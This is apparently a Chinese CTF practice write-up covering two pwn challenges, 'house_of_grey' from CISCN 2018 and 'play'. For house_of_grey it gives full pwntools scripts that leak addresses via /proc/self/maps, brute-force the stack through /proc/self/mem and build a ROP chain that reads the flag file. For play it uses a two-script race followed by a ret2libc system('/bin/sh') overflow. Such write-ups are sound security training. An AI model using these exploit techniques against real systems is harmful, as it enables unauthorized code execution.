四月份刷题
2018ciscn:https://github.com/killshadow/CTF_WP/tree/master/2018ciscn/pwn
2018ciscn_wp : https://www.xctf.org.cn/media/infoattach/55ec909c4c2340998be053ad70613f49.pdf
house_of_grey
参考:http://p4nda.top/2018/05/13/ciscn-ctf-2018/#house-of-grey
关于clone:https://blog.csdn.net/gatieme/article/details/51417488
这个题是可以实现文件的读写,只要给出文件路径即可,所以我们可以通过读/proc/self/maps来绕过pie。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| p.recvuntil('Y/n') p.sendline('y') p.recvuntil('Exit') p.sendline('1') p.recvuntil('finding?')
p.sendline('/proc/self/maps') p.recvuntil('Exit') p.sendline('3') p.recvuntil('get?') p.sendline('10000') p.recvuntil('something:\n')
pie = int('0x'+p.recvuntil('-')[:-1],16) print '[+] pie:',hex(pie)
|
打印/proc/self/maps文件信息就可以知道pie了,包括code、heap、stack和libc
下面是/proc/self/maps文件的一个内容例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 563fc76f0000-563fc76f2000 r-xp 00000000 08:01 154325 /home/zoe/Desktop/gongfangshijie/jinjie/house/house 563fc78f2000-563fc78f3000 r--p 00002000 08:01 154325 /home/zoe/Desktop/gongfangshijie/jinjie/house/house 563fc78f3000-563fc78f4000 rw-p 00003000 08:01 154325 /home/zoe/Desktop/gongfangshijie/jinjie/house/house 563fc89a3000-563fc89dc000 rw-p 00000000 00:00 0 [heap] 7f342be6f000-7f343be6f000 rw-p 00000000 00:00 0 7f343be6f000-7f343c02f000 r-xp 00000000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so 7f343c02f000-7f343c22f000 ---p 001c0000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so 7f343c22f000-7f343c233000 r--p 001c0000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so 7f343c233000-7f343c235000 rw-p 001c4000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so 7f343c235000-7f343c239000 rw-p 00000000 00:00 0 7f343c239000-7f343c25f000 r-xp 00000000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so 7f343c440000-7f343c443000 rw-p 00000000 00:00 0 7f343c45e000-7f343c45f000 r--p 00025000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so 7f343c45f000-7f343c460000 rw-p 00026000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so 7f343c460000-7f343c461000 rw-p 00000000 00:00 0 7ffcb6f7b000-7ffcb6f9c000 rw-p 00000000 00:00 0 [stack] 7ffcb6ff2000-7ffcb6ff5000 r--p 00000000 00:00 0 [vvar] 7ffcb6ff5000-7ffcb6ff7000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
接收地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| while 1: a = p.recvline() if 'heap' in a: a = p.recvline() stack_start = int(a.split('-')[0],16) stack_end = int((a.split('-')[1]).split(' ')[0],16) print '[+] stack_start:',hex(stack_start) print '[+] stack_end:',hex(stack_end) break while 1: a = p.recvline() if 'libc' in a: libc.address = int(a.split('-')[0],16) print '[+] system:',hex(libc.symbols['system']) break
|
1 2 3 4 5
| 0x000056459a0a9000 0x000056459a0ab000 r-xp /home/zoe/Desktop/gongfangshijie/jinjie/house/house 0x000056459a2ab000 0x000056459a2ac000 r--p /home/zoe/Desktop/gongfangshijie/jinjie/house/house 0x000056459a2ac000 0x000056459a2ad000 rw-p /home/zoe/Desktop/gongfangshijie/jinjie/house/house 0x000056459a798000 0x000056459a7d1000 rw-p [heap] 0x00007fb549559000 0x00007fb559559000 rw-p mapped
|
这里注意为什么stack在heap后面呢,首先可以通过调试知道,其次因为题目中是clone一个线程运行的读文件程序,然后会发现stack的地址不是从mmap出来的end地址开始的,而是有一个随机偏移之后才开始的。要得到准确的stack初始地址还需要爆破,思路来自于P4nda师傅:
存在另外一个文件/proc/self/mem,这个文件相当于程序内存的一个映射。在测试过程中发现,其栈起始地址与mmap内存块的结束地址相差了一个随机值,而这个随机值是有一定范围的:0xf000000~0xfffffff之间,是可以爆破的,而爆破的过程是,首先利用case 2的定位函数,预先设定一个读取内存地址的起始值,然后不断的向下读,由于程序栈中存在一个明显的字符串标识”/proc/self/mem”,当读到的数据中包含这个字符串时就可以判断找到了栈。
可以简单验证一下可行性,爆破的次数最多可以有24次(共可以进行30次操作,其他操作占有次数),24*100000 = 2400000 = 0x249f00 , 而可能的范围是0x1000000 其概率为0.1430511474609375,是可以接受的。
攻击思路就是将任意地址写漏洞可以将case 4中的read参数劫持到read函数的返回地址处,也就是是read自身覆写自身的返回地址… 这样在read函数结束时也就返回到了通过写入的rop中。另外此题的坑点还有系统调用的限制,最终可以通过open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)读出。
Linux /proc/pid目录下相应文件的信息说明和含义:
https://blog.csdn.net/enweitech/article/details/53391567
https://my.oschina.net/emptytimespace/blog/388207
详细脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import * from ctypes import * debug = 1 elf = ELF('./house')
if debug: p = process('./house') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('111.198.29.45',32285) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('Y/n') p.sendline('y') p.recvuntil('Exit') p.sendline('1') p.recvuntil('finding?')
p.sendline('/proc/self/maps') p.recvuntil('Exit') p.sendline('3') p.recvuntil('get?') p.sendline('10000') p.recvuntil('something:\n')
pie = int('0x'+p.recvuntil('-')[:-1],16) print '[+] pie:',hex(pie)
while 1: a = p.recvline() if 'heap' in a: a = p.recvline() stack_start = int(a.split('-')[0],16) stack_end = int((a.split('-')[1]).split(' ')[0],16) print '[+] stack_start:',hex(stack_start) print '[+] stack_end:',hex(stack_end) break while 1: a = p.recvline() if 'libc' in a: libc.address = int(a.split('-')[0],16) print '[+] system:',hex(libc.symbols['system']) break
canary = 0 p.recvuntil('Exit') p.sendline('1') p.recvuntil('finding?') p.sendline('/proc/self/mem') p.recvuntil('Exit') p.sendline('2') p.recvuntil('you?')
stack_guess = 0xf800000 p.sendline(str(stack_end - stack_guess - 24*100000)) print '[+] offset from ',hex( stack_guess + 24*100000),'to',hex(stack_guess) print '[+] from ',hex(stack_end - stack_guess - 24*100000),'to',hex(stack_end - stack_guess) for i in range(0,24): p.recvuntil('Exit') p.sendline('3') p.recvuntil('get?') p.sendline('100000') p.recvuntil('something:\n') tmp = p.recvuntil('1.Find ')[:-7] if '/mem' in tmp: print '[+++] find' print tmp.split('/proc/self/mem')[0] canary = u64(tmp.split('/proc/self/mem')[0][-0x48:-0x40]) break
stack_address = stack_end - stack_guess - 24*100000 + i *100000 + len(tmp.split('/proc/self/mem')[0])
if canary==0: print '[-] fail' exit(0) print '[+] canary :',hex(canary) print '[+] stack :',hex(stack_address)
p.recvuntil('Exit') p.sendline('1') p.recvuntil('finding?') p.sendline('/proc/self/mem'+'\x00'*(0x18-14)+p64(stack_address-56)) p.recvuntil('Exit') p.sendline('4') p.recvuntil('content')
rop =p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+0x0000000000001821)+p64(0)+p64(0)+p64(pie+elf.symbols['open'])+p64(pie+0x0000000000001823)+p64(6)+p64(pie+0x0000000000001821)+p64(stack_address-56+0x100)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['read'])+p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['puts']) rop +='a'*(0x100-len(rop)) rop += '/home/ctf/flag\0' p.sendline(rop)
p.interactive() ''' 0x0000000000001823 : pop rdi ; ret 0x0000000000001821 : pop rsi ; pop r15 ; ret '''
|
P4anda师傅的ciscn final 记:
赛博地球杯 play
主要逻辑:
就是一个hero打monster的游戏,总共4个选项:1. hacking;2. change host;3. change methods;4. exit。
- 选项1:互相攻击,hero死了就直接exit,monster死了并且monster达到3级(初始为0),就能进入vul_func()函数,触发栈溢出漏洞;没有达到3级,则monster升级1次
- 选项2:恢复血力。
- 选项3:改变技能。
这道题主要目标就是3次打败monster,使它升到3级,然后触发vul_func()函数。但是恢复血力时,相应的monster也会恢复血力,恢复的值还比hero的血还高一些,所以无解。但是因为是fork线程,存储hero的结构是用mmap申请的空间,可以通过输入已有的用户名,从文件中来的,即线程之间是共享内存,所以我们可以一边实现加血,一边打怪升级到溢出点即可。
打怪exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
from pwn import * from ctypes import * context(os='linux',arch='amd64',aslr = 'False',log_level='debug') DEBUG = 0 if DEBUG: p = process('./play') else: p = remote('111.198.29.45',31012) libc = ELF('libc6-i386_2.23-0ubuntu10_amd64.so')
p.recvuntil('login:') p.sendline('bsauce') def hacking(): p.recvuntil('choice>> ') p.send('1\n') p.recvuntil('(1:yes/0:no):') p.send('1\n') def change_host(): p.recvuntil('choice>> ') p.send('2\n') def change_methods(): p.recvuntil('choice>> ') p.send('3\n') p.recvuntil('choice>> ') p.send('1\n')
change_methods() i=0 j=0 while 1: hacking() data=p.recvuntil('\n') if "win" in data: i+=1 print data if i>=3: time.sleep(1) if i==4: break
data='a'*0x48+'a'*4+p32(0x8048670)+p32(0x8048EC7)+p32(0x804B01C) p.sendline(data) print p.recvuntil('welcome\n') zz=p.recvuntil('\xf7') print len(zz),hex(u32(zz[0:4])) print zz
chdir_addr=u32(zz[-4:]) print hex(chdir_addr) libc_base=chdir_addr-libc.symbols['chdir'] print hex(libc_base) system_addr=libc_base+libc.symbols['system'] bin_sh_addr=libc_base+next(libc.search('/bin/sh')) payload = 'a'*(0x48+4) + p32(system_addr) + p32(0x80488A8) + p32(bin_sh_addr) p.recvuntil("name") p.sendline(payload) p.interactive()
|
同时运行加血exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
from pwn import * from ctypes import *
context(os='linux',arch='amd64',aslr = 'False',log_level='debug') DEBUG = 0 if DEBUG: p = process('./play') else: p = remote('111.198.29.45',31012) p.recvuntil('login:') p.sendline('bsauce') def hacking(): p.recvuntil('choice>> ') p.send('1\n') p.recvuntil('(1:yes/0:no):') p.send('1\n') def change_host(): p.recvuntil('choice>> ') p.send('2\n') def change_methods(): p.recvuntil('choice>> ') p.send('3\n') p.recvuntil('choice>> ') p.send('1\n') while 1: change_host()
|
这道题感觉主要是在找libc的时候找了几个才找到。